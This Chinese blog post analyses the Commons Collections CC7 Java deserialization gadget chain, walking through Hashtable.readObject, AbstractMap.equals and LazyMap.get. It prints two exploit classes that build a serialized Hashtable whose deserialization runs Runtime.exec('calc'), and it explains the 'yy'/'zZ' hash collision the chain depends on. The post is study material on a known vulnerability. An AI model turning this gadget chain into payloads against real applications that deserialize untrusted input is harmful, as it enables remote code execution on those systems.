CC7

0x00前言

CC7这条链子呢我们还是去看下官方的吧要自己去硬找的话实在是心有余而力不足啊,看完发现他后面还是用的Lazymap.get()方法,后面就跟cc1的没啥区别了

0x01分析链子

代码执行部分

这种可以自己在多手写EXP的机会还是自己可以边写的时候再边跟进去调一下增加一下代码熟悉程度

public class cc7test {
    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke"
                        , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashmap = new HashMap<>();
        Map decoratemap = LazyMap.decorate(hashmap, chainedTransformer);
    }
}

就很简单就说利用lazy.map的get方法会调用chainerTransformer的transform方法

入口类部分

image-20221108102334811

从ys的官网可以看到入口类是一个Hashtable,子LazyMap上面是一个AbstractMap的equals方法

image-20221108102802513又看这个equals调用了get方法,而且还是我们的老对象用Entry去循环调用,纯理论上来说我们只需要去构造这个类然后把我们的LazyMap丢进去就行了,继续往上看吧然后再Hashtable的readObject方法调用了

image-20221108111608390

接着往下看

image-20221108111645933

这个key是我们可以控制的,然后有调用了equals方法,在Hashtable的readObject方法中就会调用这个方法

0x02EXP编写

public class CC7 {
    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, IOException, ClassNotFoundException, NoSuchFieldException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke"
                        , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
        HashMap<Object, Object> hashmap = new HashMap<>();
        HashMap<Object, Object> hasmap1 = new HashMap<>();
        Map decoratemap = LazyMap.decorate(hashmap, chainedTransformer);
        decoratemap.put("yy",1);
        Map decorate1 = LazyMap.decorate(hasmap1,chainedTransformer);
        decorate1.put("zZ", 1);
        Hashtable<Object, Object> hashtable = new Hashtable<>();
        hashtable.put(decoratemap,"ssss");
        hashtable.put(decorate1,"ssss");
        decorate1.remove("yy");
        Class c = ChainedTransformer.class;
        Field field = c.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer, transformers);
        decorate1.remove("yy");
        serialize(hashtable);
        unseriallize("src.bin");

这里先把exp贴出来再分析

为什么要调用两次put呢?

image-20221115094720126

再readObject方法过后这里的

第二次调用 reconstitutionPut() 进入到 for 循环的时候,此时 e 是从 tab 中取出的 lazyMap1 ,然后进入到判断中,要经过 (e.hash == hash) 判断为真才能走到我们想要的 e.key.equal() 方法中。这里判断要求取出来的 lazyMap1 对象的hash值要等都现在对象也就是 lazyMap2 的hash值,这里的hash值是通过 lazyMap 对象中的 key.hashCode() 得到的,也就是说 lazyMap1 的 hash 值就是 "yy".hashCode() ,lazyMap2 的 hash 值就是 "zZ".hashCode() ,而在 java 中有一个小 bug

他会形成一个情况形成一种加hash碰撞的东西

这是java的一个小bug:"yy".hashCode() == "zZ".hashCode(),后面又要把map2里面的那个key给remove掉是因为后面那个key会赋值一个新的key就说map1的值,然后就是老毛病了序列化的时候也会调用把值改构造完成后再更改让它反序列化的到时候触发

0x03小结

写到这里链子的触发方式都是这些无非就是入口类的不断跟换,这里值的去研究的是链子中间触发的东西需要又hash碰撞和用上了java的一个小漏洞。

posted @ 2022-11-28 14:49  不成大哥不改名  阅读(347)  评论(0)    收藏  举报